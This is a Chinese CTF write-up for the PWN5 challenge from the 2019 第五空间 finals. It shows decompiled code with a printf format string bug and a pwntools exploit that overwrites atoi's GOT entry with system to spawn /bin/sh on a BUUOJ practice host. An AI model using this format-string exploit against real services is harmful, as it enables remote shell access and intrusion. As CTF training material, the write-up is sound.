ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[第五空间2019 决赛]PWN5

2022-05-29 01:33:25  阅读:319  来源: 互联网

标签:PWN5 决赛 esp int system atoi 2019 printf ebp


[第五空间2019 决赛]PWN5

这次我们换一下,尝试只用工具来解题

浅看一下

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

image-20220529003454495

因为no pie所以直接可以格式化字符串篡改atoisystem

正好程序里有system函数

image-20220529003711843

如果传入的password值为/bin/sh

这样原本的atoi(nptr)就变成了system("/bin/sh")

这样就可以得到shell了

解题

name传入aaaa

执行过printf

image-20220529005130134

看栈

image-20220529005349863

查看格式化字符串偏移

fmtarg 0xffffd088

pwndbg> fmtarg 0xffffd088
The index of format argument : 10 ("\%9$p")

接下来直接exp

from pwn import *

#p = process('./pwn')
p = remote('node4.buuoj.cn',27363)
elf = ELF('./pwn')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

ps:今天新学到了fmtstr_payload

好简单。。。。

标签:PWN5,决赛,esp,int,system,atoi,2019,printf,ebp
来源: https://www.cnblogs.com/murkuo/p/16322688.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有